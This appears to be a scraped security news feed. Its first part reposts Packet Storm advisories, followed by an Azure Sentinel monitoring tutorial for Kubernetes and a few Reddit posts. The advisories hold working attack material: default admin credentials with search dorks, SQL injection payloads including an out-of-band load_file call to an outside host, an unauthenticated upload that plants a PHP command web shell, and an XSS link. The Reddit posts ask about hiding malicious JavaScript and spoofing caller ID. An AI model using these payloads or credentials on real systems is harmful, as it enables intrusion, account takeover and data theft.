Exploit Collector
Blesta 5.4.1 Insecure Settings

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Blesta version 5.4.1 appears to leave a default administrative account in place post installation.

SHA-256 | 098039ff6d83508ece4f6f823ca46d76e4703e381d3cb13f5c1cb49fc6fa5998

Download
====================================================================================================================================
| # Title : blesta 5.4.1 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit) |
| # Vendor : https://account.blesta.com/client/plugin/download_manager/client_main/download/209/blesta-5.4.1.zip |
| # Dork : Powered by Blesta, © Phillips Data, Inc. |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=admin & pass=password

[+] https://127.0.0.1/blesta/admin/login/

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
ChiKoi 1.0 SQL Injection

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
ChiKoi version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | bfbead85273eb8f3029c1797266638fcaaa8f9debd43ae379274799ca7ac9e7f

Download
## Title: ChiKoi-1.0 SQLi
## Author: nu11secur1ty
## Date: 01.12.2023
## Vendor: https://chikoiquan.tanhongit.com/
## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi

## Description:
The `User-Agent` HTTP header appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\v3z9cjkbngnzrm7piruwhl6olfr8fzknbqzlmba0.glumar.com\\quv'))+'
was submitted in the User-Agent HTTP header.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can steal all information from this system and can
seriously harm the users of this system,
such as extracting bank accounts through which they pay each other, etc.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```MySQL
---
Parameter: User-Agent (User-Agent)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 2474=2474 AND
9291=(SELECT (CASE WHEN (9291=9291) THEN 9291 ELSE (SELECT 4553 UNION
SELECT 6994) END))-- -

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 4578=4578 AND
(SELECT 8224 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT
(ELT(8224=8224,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VCWR
---
```
[+] Online:

```MySQL
---
Parameter: User-Agent (User-Agent)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1)
Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)' WHERE 8386=8386 AND
8264=(SELECT (CASE WHEN (8264=8264) THEN 8264 ELSE (SELECT 2322 UNION
SELECT 6426) END))-- -
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi)

## Proof and Exploit:
[href](https://streamable.com/7x69yz)

## Time spent
`01:30:00`

## Writing an exploit
`00:05:00`


Source:packetstormsecurity.com

Exploit Collector
Online Food Ordering System 2.0 Shell Upload

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

SHA-256 | ed85146f24b10099cae57f78d6acaf8386a62cc901158ad0489e271b7f3389ab

Download
# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/11/2023
# Exploit Author: Onurcan Alcan
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code
# Version: 2.0
# Tested on: Macos / XAMPP
############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_menu HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------38679779537855109463517942658
Content-Length: 1225
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=menu
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="id"

1
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="name"

Diet Coke
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="description"

In Can
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="status"

on
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="category_id"

3
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="price"

20
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="img"; filename="revcmd.php"
Content-Type: text/php
?>
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
-----------------------------38679779537855109463517942658--


Source:packetstormsecurity.com

Exploit Collector
Deprixa Pro 7.5 Insecure Settings

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Deprixa Pro version 7.5 appears to leave a default administrative account in place post installation.

SHA-256 | b745d80d10a9cf6d74df71babb3f62d563da0d1354d488a4dcf9a6cf6d6e79de

Download
====================================================================================================================================
| # Title : DEPRIXA Pro V7.5 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit) |
| # Vendor : https://deprixacargo.link/ |
| # Dork : |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=admin & pass=09731

[+] https://127.0.0.1/deprixaprosite/demo/login.php

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
Flex 5.22 Insecure Settings

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
Flex version 5.2.2 appears to leave a default administrative account in place post installation.

SHA-256 | 229825a437f202f67bb1f03b1998d5f1a770f3e53615c7a040c0f54525a53414

Download
====================================================================================================================================
| # Title : Flex Version: 5.22 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit) |
| # Vendor : https://csimmobiliere.com |
| # Dork : |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=botble & pass=159357

[+] https://127.0.0.1/Flex/admin/login

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
eCart Web 5.0.0 Cross Site Scripting

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png eCart Web version 5.0.0 suffers from a cross site scripting vulnerability.

SHA-256 | e72f56a0b136ad4d7215662fb4e94fa28b79b57e199ed4353a8831db37b3da89Download ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : ecartmultivendorweb.thewrteam.in │
│ Vendor : By WRTEAM Ekart.Com │
│ Software : eCart Web 5.0.0 - Multi Vendor eCommerce Marketplace │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2023 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
URL parameter 'category' is vulnerable to XSS

Path: /shop

https://ecartmultivendorweb.thewrteam.in/shop?category=baby-need-s-1su7mh%3cscript%3ealert(1)%3c%2fscript%3eg9eop&sub-category=test-1
[-] Done Source:packetstormsecurity.com

Exploit Collector
Foloosi Shopping 5.5.7 Insecure Settings

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Foloosi Shopping version 5.5.7 appears to leave a default administrative account in place post installation.

SHA-256 | 023e4bb5c955d21c1cb90446bde4e16116425a7656679db11a4e067e30379549

Download
====================================================================================================================================
| # Title : Foloosi Shopping v5.5.7 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(64-bit) |
| # Vendor : https://www.foloosishopping.com/ |
| # Dork : "category/beauty-health-hair" |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=admin@example.com & pass=123456

[+] https://127.0.0.1/login

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Kali Linux Tutorials
Protecting Kubernetes Deployments with Azure Sentinel

What Is Azure Sentinel?

Microsoft Sentinel is a cloud native security information and event management (SIEM) and security orchestration, automation, and response (SOAR) solution. It provides security analytics, threat intelligence, threat visibility, attack detection, proactive hunting, and threat response.

It builds on Azure services, natively incorporating proven foundations, such as Logic Apps and Log Analytics. It enriches investigation and detection with artificial intelligence (AI) and Microsoft’s threat intelligence stream and also allows you to use your threat intelligence. Enterprises employ Azure Sentinel to get a centralized overview of the threat landscape. Sentinel collects data across all users, applications, infrastructure, and devices on-premises and in multiple clouds.

Sentinel leverages Microsoft’s analytics and threat intelligence to detect threats and minimize false positives and uses AI to investigate threats and hunt for suspicious activities. It responds to incidents quickly using built-in orchestration and automation of common tasks. What Is Azure Kubernetes Service (AKS)?Azure Kubernetes Service (AKS) offloads the operational overhead of deploying a Kubernetes cluster to Azure. This hosted Kubernetes service handles operational tasks such as health monitoring and maintenance and managing Kubernetes. Customers only need to manage and maintain agent nodes.

AKS is free, billing customers only for agent nodes within a cluster. Once you deploy an AKS cluster, Azure configures and deploys a Kubernetes master and nodes. You can configure various features during the Kubernetes deployment process, including advanced networking, monitoring, and Azure Active Directory (Azure AD) integration. Monitoring Azure Kubernetes Service (AKS) with Microsoft SentinelYou can set up AKS monitoring with Microsoft Sentinel by applying the following steps:

Enable Sentinel and connect your data sources

Sentinel provides connectors for Microsoft solutions, making them available out of the box with real-time integration, including:

* Microsoft 365 Defender
* Microsoft 365 sources
* Azure AD
* Microsoft Defender for Identity
* Microsoft Cloud App Security

To connect non-Microsoft solutions and various data sources, you can use built-in connectors, the common event format (CEF), REST-API, or Syslog.

Choose expertly created workbooks

Once you connect your data sources, you can choose from various workbooks that help surface insights according to your data. You can easily customize these workbooks to your needs.

Use templates for threat detection

Sentinel sifts through your data sources and notifies you of a suspicious event. You can use built-in templates to create threat detection rules designed by Microsoft security experts and analysts according to known threats, suspicious activity escalation chains, and common attack vectors.

Rules created from threat detection templates automatically search across the environment for suspicious activities. You can customize the templates to search for certain activities or filter them out. These rules generate alerts that create incidents, which you can assign and investigate in your own environment.

Monitoring your AKS cluster

You can use various sources to monitor your AKS cluster. Here is a diagram that illustrates how different sources integrate into Sentinel:
https://lh4.googleusercontent.com/4o-HrdjPUc7p-O3r-u75fJMIbGcsvfGPvW1fQBwBquJFM3cT74hdWvexGt7UlABWxmqhWsu9btlmUuBEnpbClYQNwxCIgrg3SYPE72wRhe6km__JURTW_PzIne7o6Wn25uVInfbqMcPRQH0yPlQHt2nNkdZGHrkXWupkizKcZOPvat1ynJGCXeM Azure Security Center (ASC) AKS Threat ProtectionAzure Security Center Standard includes built-in threat protection for the resources it monitors. It provides an optional Kubernetes bundle. Once you enable the b[...]

undle, ASC threat protection monitors the AKS cluster for suspicious activity. You can enable the bundle in ASC by following these steps:

1. Navigate to Pricing & settings
2. Choose a subscription
3. Ensure Kubernetes is enabled as a resource type (see the image below)
https://lh5.googleusercontent.com/jcgkz-x4MhRrHoR4x8Xb8YMnLUJQ1JYY5EiscO6YnhabPsaehZJkkrE05QcJVFktHX8goRahZjmGihCrLcwxe28CBAZXqF-uTYlUKOFon9SGw74pdgT7zTbbei9l3ecFVEjOaXpYg4I0YTs30JwTs9ikEEj4nz2RhAU5sFsHi-UnwTvuR1G_D48
If you already connected ASC threat alerts to your Sentinel workspace using the native ASC connector, these AKS alerts are sent directly into Sentinel. ASC can detect various threats in AKS clusters, including containers with a sensitive volume mount, an exposed Kubernetes dashboard, and digital currency mining containers. Azure Diagnostics LogsAzure Diagnostic Logs are logs that are emitted by resources in Azure and provide insights into the operation of those resources. Diagnostic logs can be used to troubleshoot issues, monitor the health of resources, and identify patterns of usage.

There are several types of diagnostic logs that can be collected in Azure:

* Activity logs: These logs provide information about the operations that have been performed on a resource.
* Metric logs: These logs provide information about the performance and health of a resource.
* Resource logs: These logs are specific to a resource type and provide resource-specific information.

Diagnostic logs can be collected using Azure Monitor, which is a service that enables you to collect, analyze, and act on data from a wide range of sources. Alternatively, you can forward these logs to your Log Analytics workspace. You can retrieve logs from AKS for Kubernetes components such as kube-apiserver, kube-controller-manager, kube-scheduler, kube-audit, and cluster-autoscaler.

Once the logs are visible in your AzureDiagnostics table, you can run detections. .

Here is a basic query that you can use in Azure Sentinel to look at NGINX logs for a specific pod:

KubernetesPodInventory

| where PodName contains “nginx”

| extend Pod = parse_json(Pod)

| extend Container = parse_json(Pod.spec.containers)

| extend Image = Container.image

| extend ImageName = extract(“(.+):.+”, 1, Image)

| project PodName, ImageName

This query will search the KubernetesPodInventory table for rows where the PodName field contains the string “nginx”, and it will extract the PodName and ImageName fields for those rows. The extend clauses are used to parse the JSON objects in the Pod and Container fields, and extract the image field from the Container object. The extract function is then used to extract the image name from the Image field.

Here is an example of a security-focused query that you can run on logs collected from Azure Kubernetes Service (AKS):

KubernetesAudit

| where Level == “Warning”

| where EventType == “Exec”

| extend User = parse_json(User)

| project TimeGenerated, User.username, Namespace, Resource, Action

This query will search the KubernetesAudit table for rows where the Level field is “Warning” and the EventType field is “Exec”. It will then extract the TimeGenerated, username, Namespace, Resource, and Action fields for those rows, and parse the User field into a JSON object so that the username field can be extracted.

This query will return a list of audit events that correspond to warning-level exec events, which could include things like attempts to execute a command in a container or access a shell in a pod. You can use this query to identify suspicious activity and investigate further. ConclusionIn conclusion, Azure Sentinel is a powerful tool for protecting Kubernetes deployments. Its advanced security analytics capabilities and integration with a wide range of data sources make it well-suited for detecting and responding to threats in Kubernetes environments. By collecting logs and other data from your Kubernetes cluster and using Azure Sentinel to m[...]

onitor and analyze that data, you can gain valuable insights into the operation of your cluster and identify potential security issues before they become a problem.

Additionally, the ability to create alerts and take automated actions based on the data in your logs can help you to respond to threats in a timely and effective manner, reducing the risk of a breach or other security incident.

hacking: security in practice
Hiding text in files

Awhile back I was looking at some malicious stuff that showed up on someone's server and one of the tricks they did was to hide a bunch of javascript in template files. If you catted the file or viewed it in nano you saw nothing. View it in vi and poof, bunch of malicious code.

Thought it was kind of cool but didn't take notes or keep samples. Year later I find a need for this for a project. Google searches were somewhat unhelpful since all manner of stupid stuff matches.

Anyone know what the method is called so I can do more research?

submitted by /u/FantasticThing359
[link] [comments]

hacking: security in practice
Is there phones who call without a sim card

So i am looking to find a device, that can call normally without a sim card, and that is also able to set custom caller id (so i can call as somebody else)

Btw i am not looking to do anything illegal or harmful with such a device, all i am asking for is what is such a device called, where can i buy one, and also if there is no such device whats the closest thing to it?

submitted by /u/PreciseInstance
[link] [comments]

Attacker Simulation and Vulnerability Management Programs
https://www.reddit.com/r/Pentesting/comments/10a77au/attacker_simulation_and_vulnerability_management/

<!-- SC_OFF -->I am struggling with implementing SafeBreach at my organization and I was hoping I could get some peer feed back on how they have implemented SafeBreach or other Attack/Adversary emulation tools within their organization. My primary question is how do you make use of your simulation results? It is hard to find value in these products when you are running the same tests every week with nearly the same results. It is pretty difficult to make impactful changes to the org's security tooling and posture to have any notable influence over the simulation results. For other SafeBreach customers - What simulations are you running and on what cadence? What has provided the most value to your org from this tool? <!-- SC_ON --> submitted by /u/cyopeng (https://www.reddit.com/user/cyopeng)
[link] (https://www.reddit.com/r/Pentesting/comments/10a77au/attacker_simulation_and_vulnerability_management/) [comments] (https://www.reddit.com/r/Pentesting/comments/10a77au/attacker_simulation_and_vulnerability_management/)